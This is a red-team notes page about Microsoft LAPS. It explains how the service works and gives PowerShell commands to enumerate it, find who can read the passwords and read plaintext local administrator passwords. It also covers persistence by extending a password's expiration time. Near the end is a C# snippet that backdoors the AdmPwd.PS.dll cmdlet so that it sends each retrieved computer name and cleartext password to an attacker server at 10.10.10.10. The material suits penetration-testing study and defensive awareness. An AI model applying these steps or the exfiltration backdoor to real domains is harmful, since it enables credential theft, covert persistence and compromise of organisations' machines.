🦦
Otter's Notes
  • Introduction
  • Articles
    • Dumping data from the Microsoft Recall folder
    • Gaining persistence on Windows with Time Providers
    • Reverse engineering LSASS to decrypt DPAPI keys
    • Intro to Hypervisor Implants
    • In-depth Windows Telemetry
  • Notes
    • Active Directory
      • Active Directory Structure
      • Active Directory Terminology
      • Active Directory Objects
      • Active Directory Groups
      • Active Directory Functionality
      • Active Directory Protocols
      • Active Directory Rights and Privileges
      • Security in Active Directory
      • Users and Machine Accounts
      • NTLM
      • LDAP
      • Making a Target User List
      • Enumerating & Retrieving Password Policies
      • Enumerating Security Controls
      • Examining Group Policy
      • GPOs
      • LAPS
      • LLMNR & NBT-NS Poisoning
      • LOLBIN Enumeration
    • AAD
      • Useful Links
      • Overview of Azure & M365
      • Enumerate Users and Domains
      • Post-exploitation Reconnaissance
      • OAuth 2.0 Abuse
      • Abusing Device Code Authentication
      • Abusing Cloud Administrator Role
      • Abusing User Administrator Role
      • AAD Federated Backdoor
      • Service Principal Abuse
      • Compromising Azure Blobs and Storage Accounts
      • Malicious Device Join
      • Disabling Auditing (Unified Audit Logs)
      • Spoofing Azure Sign-In Logs
      • Registering Fake Agents for Log Spoofing
      • Pass the PRT
      • Pass the Cookie
      • Abusing Managed Identities
      • Virtual Machine Abuse
      • Attacking Key Vaults
    • Forest Trust Abuse
      • Parent-Child Trust Abuse
      • One-Way Inbound Trust Abuse
      • Foreign Group Membership
      • Foreign ACL Principals
      • SID History
      • SID Filter Bypass
      • Intra-Forest Attacks
        • Configuration Naming Context Replication
        • ADCS NC Replication Attack
        • GPO On-Site Attack
        • GoldenGMSA Attack
        • DNS Trust Attack
      • Cross-Forest Attacks
        • Trust Account Attack
        • Abusing SQL Linked Servers
        • Abusing PAM Trusts
    • Kerberos
      • Overview of Kerberos Authentication
      • Silver Tickets
      • Golden Tickets
      • Diamond Tickets
      • Kerberoasting
      • AS-REPRoasting
      • Resource-Based Constrained Delegation
      • Constrained Delegation
      • Unconstrained Delegation
      • S4U2Self & S4U2Proxy
      • Golden Certificates
    • DACL Abuse
      • DACL Overview
      • DACLs Enumeration
      • AddMembers
      • GPO Attacks
      • Granting Rights and Ownership
      • Logon Scripts
      • NoPAC
      • Password Abuse
      • SPN Jacking
      • Shadow Credentials
      • Targeted Kerberoasting
    • ADCS
      • Introduction to ADCS
      • ESC1
      • ESC2
      • ESC3
      • ESC4
      • ESC5
      • ESC6
      • ESC7
      • ESC8
      • ESC9
      • ESC10
      • ESC11
      • Certificate Mapping
    • PowerShell
      • PowerShell Basics
      • PowerShell Remoting
      • Alternate PowerShell Hosts
      • PowerShell Pipeline Runners
      • PowerShell Code Signing
      • Scriptblock Logging
      • PowerShell CLM
      • AMSI
      • PowerShell Reflection
      • WMI - Windows Management Instrumentation
      • Interfacing with AD
      • PowerShell Snippets
        • Bypass application whitelisting and CLM with runscripthelper and WMI
        • Create fake PowerShell logs
        • Enumerate AD ACLs
        • Enumerate WMI events
        • Enumerate Domain Trusts
        • Enumerate change metadata
        • Enumerate non-signed service binaries
        • Enumerate with GPOs
        • Find signed alternate PowerShell hosts
        • Get AMSI module
        • Group processes by user with WMI
        • Hide processes from Get-Process
        • Malware re-purposing with PowerShell reflection
        • Monitor PowerShell hosts with WMI
        • PowerShell reflection offensive use-case
        • Query PowerShell alternative hosts with WMI
        • Retrieve file certificate
        • Search LDAP for misconfigurations
        • Sign custom code with PowerShell
        • WMI service creation
        • Weak folder permission enumeration
    • AWS
      • AWS Organizations
      • AWS Principals
    • Binary Exploitation
      • Environment setup for Browser Exploitation
      • Browser Overview and Components
    • Kernel Development
      • Windows
        • Configuring a VM for driver development
Powered by GitBook
On this page
  1. Notes
  2. Active Directory

LAPS

PreviousGPOsNextLLMNR & NBT-NS Poisoning

Last updated 8 months ago

LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule.

  1. The Active Directory schema is extended and adds two new properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime.

  2. By default, the DACL on ms-Mcs-AdmPwd only grants read access to Domain Admins but each computer object is given permission to update these properties on itself

  3. Rights to read AdmPwd can be delegated to other principals (users, groups etc), which is typically done at the OU level

  4. A new GPO template is installed, which is used to deploy the LAPS configuration to machines to apply different policies to different OUs

  5. The LAPS client is also installed on every machine

  6. When a machine performs a gpupdate, it will check the AdmPwdExpirationTime property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the ms-Mcs-AdmPwd property.

LAPS' presence can be enumerated from BloodHound by looking at the GPOs in place or, if we have access to a host, we can check if C:\Program Files\LAPS\CSE\AdmPwd.dll is on disk. Just like from BloodHound, we can look for the needed GPOs from powershell

PS C:\users\otter\desktop> Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

or query the ms-Mcs-AdmPwdExpirationTime attribute in the domain to get a list of the hosts LAPS is enabled on

PS C:\users\otter\desktop> Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

Seatbelt can also detect LAPS with

PS C:\users\otter\desktop> Seatbelt.exe -group=system

If we find the right GPO for it and can access the file we can get more information about the password that gets generated by the policy by parsing it with

PS C:\users\otter\desktop> ls \\domain.com\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/16/2022 12:39:19   Applications
          dir     09/13/2022 15:38:58   Microsoft
          dir     08/16/2022 12:23:37   Preferences
          dir     08/16/2022 12:21:04   Scripts
 575b     fil     08/16/2022 12:22:23   comment.cmtx
 920b     fil     08/16/2022 12:22:23   Registry.pol

PS C:\users\otter\desktop> Parse-PolFile .\Registry.pol

This gives us information about the password complexity, minimum and maximum length, lifetime, the name of the account that is being managed by LAPS and whether password expiration protection is enabled or not.

Since reading the plaintext password is just a LDAP query and doesn't involve any other resource it's a relatively low-risk action; if we are dealing with LAPS2 and have no way to enumerate whether a user can read the password or not we can just try to read it and see if we get a plaintext value back.


To read a plaintext password from LAPS we can use

PS C:\users\otter\desktop> Get-LapsADPassword -Identity <HOSTNAME> -AsPlainText
ComputerName        : <HOSTNAME>
DistinguishedName   : CN=<HOSTNAME>,OU=Servers,DC=domain,DC=com
Account             : Administrator
Password            : <PLAINTEXT_PASSWORD>
PasswordUpdateTime  : 12/24/2023 5:57:53 AM
ExpirationTimestamp : 1/23/2024 5:57:53 AM
Source              : EncryptedPassword
DecryptionStatus    : Success
AuthorizedDecryptor : DOMAIN\<GROUP_THAT_CAN_READ_PASSWORD>

To discover which principals are allowed to read the ms-Mcs-AdmPwd attribute we can check the DACL on each computer onbject

PS C:\users\otter\desktop> Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

ObjectDN                                                      SecurityIdentifier                          
--------                                                      ------------------                          
CN=WKSTN-2,OU=Workstations,DC=DC,DC=domain,DC=com         S-1-5-21-569305411-121244042-2357301523-1107
CN=WEB,OU=Web Servers,OU=Servers,DC=DC,DC=domain,DC=com   S-1-5-21-569305411-121244042-2357301523-1108
CN=SQL-2,OU=SQL Servers,OU=Servers,DC=DC,DC=domain,DC=com S-1-5-21-569305411-121244042-2357301523-1108
CN=WKSTN-1,OU=Workstations,DC=DC,DC=domain,DC=com         S-1-5-21-569305411-121244042-2357301523-1107

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DOMAIN\Developers

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1108
DOMAIN\Support Engineers
# query each OU to find domain groups that have delegated read access
PS C:\users\otter\desktop> Find-LAPSDelegatedGroups

# query each computer for users with All Extended Rights
# this also reveals users that can read the password without having any delegated rights
PS C:\users\otter\desktop> Find-AdmPwdExtendedRights

LAPS has a PwdExpirationProtectionEnabled configuration setting that we can also read from the Registry.pol file: when enabled, this policy prevents a user or computer setting the expiration date of a password beyond the password age specified in the PasswordAgeDays setting (which we can also read in the policy file).

If the policy setting is left "not configured" in the GPO, then password expiration protection is disabled by default.

If we compromise a host using its LAPS password, we are able to change the current password's expiration date as a persistence mechanism.

PS C:\users\otter\desktop> Get-DomainComputer -Identity <HOSTNAME> -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

ms-mcs-admpwdexpirationtime ms-mcs-admpwd 
--------------------------- ------------- 
         133101494718702551 1N3FyjJR5L18za
PS C:\users\otter\desktop> Set-DomainObject -Identity <HOSTNAME> -Set @{'ms-Mcs-AdmPwdExpirationTime' = '<TIMESTAMP>'} -Verbose

The newly-set expiration date will still be visible to the admins and a manual password reset will also restore the previous expiration date.


For persistence's sake we could backdoor LAPS to quickly get access to the current password even after the refresh.

One idea is to modify the code of the Get-AdmPwdPassword cmdlet which we can find at C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS. To do this we can download the AdmPwd.PS.dll and AdmPwd.Utils.dll files and use a tool like dnSpy to modify their contents.

using System.Net;

// ...

using (var client = new WebClient())
{
    client.BaseAddress = "http://10.10.10.10";

    try
    {
        client.DownloadString($"?computer={passwordInfo.Computername}&pass={passwordInfo.Password}");
    }
    catch 
    {
        // pass
    }
}

Of course changing the contents of this file also changes its signature which can easily be detected.

Now if we execute the cmdlet we should get a hit on our server

Get-AdmPwdPassword -ComputerName <HOSTNAME> | fl

BloodHound has a query to detect the privilege which does a good job at detecting users that can read the LAPS password on the hosts that have it enabled on LAPS (LAPS1) but (at the time of writing) doesn't detect the privilege for LAPS2.

Another great tool is which can be used to find delegated LAPS read access

Mind that the timestamp is in EPOC format (we can convert it ) so we'll need to specify the new expiration date in the right format as well

A thing we can do is make the cmdlet send the cleartext LAPS password to our server, of course this is really bad OPSEC since everyone can see a normal HTTP GET request but we can get more creative and can use repo to get the original AdmPws.PS.dll source code.

GPRegistryPolicyParser
ReadLAPSPassword
LAPSToolkit
here
this